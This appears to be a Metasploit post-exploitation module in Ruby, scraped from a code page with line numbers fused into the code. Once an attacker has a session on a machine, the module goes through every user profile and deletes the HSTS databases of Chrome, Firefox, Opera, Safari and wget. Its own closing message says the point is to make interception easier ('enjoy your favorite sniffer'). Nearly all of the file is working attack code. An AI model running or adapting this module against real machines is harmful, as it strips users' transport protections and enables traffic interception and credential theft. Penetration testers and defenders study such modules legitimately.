Path: blob/master/modules/post/multi/manage/hsts_eraser.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::OSX::System9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Web browsers HSTS entries eraser',16'Description' => %q{17This module removes the HSTS database of the following tools and web browsers: Mozilla Firefox,18Google Chrome, Opera, Safari and wget.19},20'License' => MSF_LICENSE,21'Author' => [22'Sheila A. Berta (UnaPibaGeek)', # ElevenPaths23],24'Platform' => %w[linux osx unix win],25'Arch' => [ARCH_X86, ARCH_X64],26'References' => [27[ 'URL', 'http://blog.en.elevenpaths.com/2017/12/breaking-out-hsts-and-hpkp-on-firefox.html' ],28[ 'URL', 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Berta-Breaking-Out-HSTS-And-HPKP-On-Firefox-IE-Edge-And-Possibly-Chrome.pdf' ]29],30'SessionTypes' => %w[meterpreter shell],31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [CONFIG_CHANGES],34'Reliability' => []35}36)37)3839register_options([40OptBool.new('DISCLAIMER',41[true, 'This module will delete HSTS data from the target. Set this parameter to True in order to accept this warning.', false])42])43end4445def run46unless (datastore['DISCLAIMER'] == true)47print_error('This module will delete HSTS data from all browsers on the target. You must set the DISCLAIMER option to True to acknowledge that you understand this warning.')48return49end5051profiles = user_profiles5253profiles.each do |user_profile|54account = user_profile['UserName']55browsers_hsts_db_path = {}5657case session.platform58when 'windows'59browsers_hsts_db_path = {60'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\TransportSecurity",61'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", # Just path for now62'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\TransportSecurity"63}64when 'unix', 'linux'65browsers_hsts_db_path = {66'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/TransportSecurity",67'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", # Just path for now68'Opera' => "#{user_profile['LocalAppData']}/.config/opera/TransportSecurity",69'wget' => "#{user_profile['LocalAppData']}/.wget-hsts"70}71when 'osx'72browsers_hsts_db_path = {73'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/TransportSecurity",74'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles", # Just path for now75'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/TransportSecurity",76'Safari' => "#{user_profile['AppData']}/Cookies/HSTS.plist"77}78else79print_error "Platform not recognized: #{session.platform}"80end8182browsers_hsts_db_path.each_pair do |browser, path|83if browser == 'Firefox'84hsts_db_path = []85if directory?(path)86files = dir(path)87files.reject! { |file| %w[. ..].include?(file) }88files.each do |file_path|89hsts_db_path.push([path, file_path, 'SiteSecurityServiceState.txt'].join(system_separator)) if file_path.match(/.*\.default/)90end91end92path = hsts_db_path[0]93end94if !path.nil? && file?(path)95print_status "Removing #{browser} HSTS database for #{account}... "96file_rm(path)97end98end99end100101print_status 'HSTS databases removed! Now enjoy your favorite sniffer! ;-)'102end103104def user_profiles105user_profiles = []106case session.platform107when /unix|linux/108user_names = dir('/home')109user_names.reject! { |u| %w[. ..].include?(u) }110user_names.each do |user_name|111user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")112end113when /osx/114user_names = session.shell_command('ls /Users').split115user_names.reject! { |u| u == 'Shared' }116user_names.each do |user_name|117user_profiles.push(118'UserName' => user_name,119'AppData' => "/Users/#{user_name}/Library",120'LocalAppData' => "/Users/#{user_name}/Library/Application Support"121)122end123when /windows/124user_profiles |= grab_user_profiles125else126print_error 'Error getting user profile data!'127end128user_profiles129end130131def system_separator132return session.platform == 'windows' ? '\\' : '/'133end134end135136137